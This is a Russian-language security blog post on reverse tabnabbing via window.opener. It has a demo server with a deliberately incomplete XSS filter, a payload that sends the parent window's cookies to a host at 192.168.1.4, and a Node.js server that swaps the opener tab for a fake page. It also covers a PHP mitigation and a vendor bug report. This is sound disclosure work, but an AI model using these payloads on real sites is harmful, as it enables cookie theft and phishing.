Атакуем через HTML тег а

:

: 6

Тег a — это не только ценный мех, но и инициализация window.opener.
В этой статье вас ждет рассказ об одной особенности данного тега и способы решения проблемы.

Вступление

Всё это началось меньше года назад. Я заметил (узнал), что открытие гиперссылки в новом окне инициализирует JavaScript’овский window.opener.

Для справки: window.opener дает доступ к родительскому окну (к фрейму-родителю), т.е к окну, в котором вызвали window.open().

Разумеется, я сразу начал гуглить, но ничего вразумительного не нашел. Всё бы ничего, но если бы не одно «НО»:
Window.opener инициализируется, даже если домены и/или IP-адреса разные.

На днях разбираю почту и вижу, что получил сообщение от команды Яндекса:

Сообщение о баге, точнее о теоретическом применении атаки через window.opener( далее w.o), было оставлено мной около месяца назад, я уже и не надеялся на ответ.
Но мир – странная штука, не так ли? :)

Часть 1

От теории к делу!


Предположим, что мы имеем страницу, в которую можем встроить гиперссылку.
Напишем код, позволяющий воспроизвести нам данную уязвимость.
//Код №1
/*Автор кода просит прощения за все баги, связанные  с ним. Код написан под node.js */
var http = require('http');
http.createServer(function (rq, rs) {
var cookie="Super :"+Math.random(-1)*30/13+": Mario"; //при каждом новом запросе, значение куки будет разным
  rs.writeHead(200, {'Content-Type': 'text/html',
                     'Set-Cookie': cookie});
  if(!require('url').parse(rq.url).query){ // проверим на наличие входных данных
  rs.end('<h2>ERROR!</h2><br>Example: http://127.0.0.1:8080/wo.bug?host=http://google.com/<br>Shutting down :)');
console.log('[DEBUG] URL: '+rq.url+' is not valid!'); // немножко дебага
  console.log('Achtung!');
  process.kill(process.pid); //чтобы наверняка :)
  }
  var host=require('url').parse(rq.url, true).query.host, //парсим
  host=host.replace(/ /g,'%20'),//Решим проблему с обрезанием пробела
  host=host.replace(/</g,'&'+'lt;'), //antiXSS
  host=host.replace(/>/g,'&'+'gt;'), //antiXSS
  host=host.replace(/javascript:/g,''); //antiXSS
  console.log('URL: '+host); //Вывод ссылки в консоль
  rs.end('<center><br><a href='+host+' target="_blank">click-click</a><br>Hey, '+cookie+'! </center>'); //"безопасный" вывод
}).listen(8080);  //запустим сервер на 8080 порту 

В данном коде специально пропущена фильтрация протокола data. Через специально сформированную ссылку, и по средствам w.o, мы сможем выполнить XSS атаку.
Для тестов я взял «большую тройку» браузеров: Opera/12.12, FireFox/18.00, Chrome/23.0.1271.97.

FireFox


Итак, передадим в атрибут href, тега a, значение «data:,1»:

После нажатия на гиперссылку видим, что w.o инициализирован:

А это значит, что, возможно, мы имеем возможность получить полный доступ к родительскому окну.
Остается только убедиться в этом.

Используя w.o, мы успешно получили доступ к кукам родительского окна, но вот почему document.cookie=window.opener.document.cookie я не знаю, честно. Замечу, что данная особенность характерна только для FF.

Проверил на VM с XP SP3 и FF 17, такая же картина:

Остается только написать exploit, который будет использовать тег «а», протокол data и w.o, для кражи кук(да и вообще чего угодно).

Payload:

var snif=new Image(), //инициализируем картинку
ck=window.opener.document.cookie, //получаем куки из родительского окна
concat = function() { return Array.prototype.slice.call(arguments).join("")};//объединяем строки без использования знака +, так как знак плюс при GET запросе равносилен пробелу, что приведет к ошибочному синтаксису JavaScript
snif.src=concat('http://192.168.1.4:8081/?cok=',ck); //отсылаем куки (192.168.1.4-локальный IP виртуальной машины)

Передаем это в переменную host(используя протокол data, а именно: data:text/html, ).Нажимаем на ссылку и любуемся куками:

А это окно, в которое внедрили наш код:

Как видите, мы успешно смогли украсть куки.

Opera


С браузером Opera почти так же, как и с FireFox. Так что шаги будут те же.

Проверим, инициализируется ли w.o:

Проверим, можем ли мы прочитать куки:

Видим, что мы успешно смогли прочитать куки из предыдущей вкладки(родительского окна).
Остается только эксплуатировать данную уязвимость. Код payload’а будем использовать такой же, как и для FF.

Передаем в переменную host наш exploit и опять любуемся куками:

Окно со ссылкой:

Итак, мы смогли успешно украсть куки. Довольно печальная ситуация, но ведь еще остался Google Chrome.

Chrome


Проверим наличие доступа к w.o:

W.o инициализирован, но Хром не дает нам получить доступ к данным окна-родителя:

Теперь самое время посмотреть на эту уязвимость под другим углом.
А что будет, если и протокол data фильтруется?
Добавим в наш код четвертую фильтрацию, фильтрацию протокола data.

Код примет вид:

/*…*/
  host=host.replace(/</g,'&'+'lt;'), //antiXSS
  host=host.replace(/>/g,'&'+'gt;'), //antiXSS
  host=host.replace(/javascript:/g,''), //antiXSS
  host=host.replace(/data:/g,''); //Data не пройдет!
/*…*/

Внеся эту поправку в код, мы больше не сможем провести XSS атаку, но ввести пользователя в заблуждение, переопределив w.o, мы способны.

Часть 2

Теперь передадим, в переменную host, ссылку на сайт evil.com.

FireFox


В FF 18 w.o успешно инициализируется, но мы не имеем возможности проникнуть в предыдущий фрейм(вкладку), так как домены различны и политика безопасности нам это не позволяет.

Opera


Ситуация с этим браузером аналогична ситуации с FireFox.

Chrome


В Хроме доступ к w.o имеется, но политика безопасности режет наши права до минимума.

Атакуем!

FireFox


Переопределение:

Opera


Переопределяем w.o:

Chrome

Переопределяем:

Пишем exploit

Ну а если есть уязвимость, то должен быть и exploit :)

var http = require('http');
 if(!process.argv[2] || !process.argv[3]){console.log('Usage: node '+process.argv[1]+' ip port');process.exit(1)}
 http.createServer(function (rq, rs) {
 rs.writeHead(200, {'Content-Type': 'text/html'}); //всем добра, всем 200 
 if(!rq.headers.referer){ // если Referer отсутствует
 rs.end('');
 console.log('Referer is undefined!');
 process.exit(1);
 }
 var host=require('url').parse(rq.headers.referer).hostname; // Извлекаем домен из Referer'а
 var out="<html><script>"+
 "window.opener.location='http://"+process.argv[2]+":"+process.argv[3]+"/"+host+".html';"+ //переопределяем страницу на поддельную
 "window.close()"+    //закрываем окно 
 "</script></html>";
 rs.end(out); //осуществляем подмену
 console.log('Window.opener changed!');
 process.exit(1);

 }).listen(80) // Запускаемся на 80 порту

Этот простенький код позволяет нам подменить сайт во вкладке-родителе.
Оговорюсь, что перенаправление будет идти на адрес: site:port/referer.html. Где «referer» — значение вида site.*
Ввиду того, что снять скриншоты будет проблематично, я записал видео:

http://www.youtube.com/watch?v=Q09GA9oOEs8

Защита

Хорошо, мы рассмотрели примеры нападения, но как же защититься?
Тут есть два способа решения: либо принудительно изменять значение атрибута target, тега а, на “_self”, либо танцевать с бубном, но открывать ссылку в новом окне.Угадайте, каким способом мы пойдем?

Фикс довольно прост: присвоение window.opener значения null.
Напишем простой php код, позволяющий переопределить w.o на null и выполнить переадресацию на указанный ресурс.

<?php
$url=str_replace('data:','',$_GET['href']); //удалим "data:"
$url=htmlspecialchars(str_replace('javascript:','',$url)); //защитимся от XSS 
if(!$url){die();};
echo "<html>";
echo "<body>";
echo "<script>";
echo "window.opener=null;"; //переопределяем w.o на null
echo "document.location='".$url."';"; //выполняем перенаправление 
echo "</script>";
echo "</body>";
echo "</html>";
?>

Нам остается только применить фикс в нашем коде(1).
Предположим, что наш php файл храниться по адресу: site.com/file.php
Тогда наш код(1) примет вид:

/**/
rs.end('<center><br><a href="http://site.com/file.php?href='+host+'" target="_blank">click-click</a><br>Hey, '+cookie+'! </center>');
/**/

А вот и результат нашего «шаманства»:

Да, это неудобный способ, но только такое решение проблемы я могу предложить на данный момент.
Если у вас есть идеи, то, пожалуйста, оставляйте их в своих комментариях.

Злоключение

Среди ресурсов, уязвимых к данной атаке, я могу выделить
Гугл:


Рамблер:


Список можно продолжать до бесконечности.

И конечно, данная информация представлена только для ознакомления.
Вы не имеете права использовать ее для атак, иначе вас покарает УК РФ!
Have a nice day!

UPD: Разбираемся с window.opener в IE 9( простите, только он оказался под рукой)
С IE 9 творится что-то эдакое…
К примеру, в нем нет протокола data, вообще.

Следовательно, будем пытаться переопределить w.o.

Кликаем на ссылку и видим, что w.o успешно инициализирован:

Пытаемся переопределить w.o:

Ничего, ноль эмоций.
Но если открыть предыдущую вкладку, то:

Видим, что IE опознает смену как открытие нового окна и выдает предупреждение.

И даже это еще не всё!

Разрешим всплывающее окно:

Повторно попробуем сменить location:

Подмена window.opener не просто не произошла, а вообще открылось новое окно.

UPD2: Youtube заблокировал видео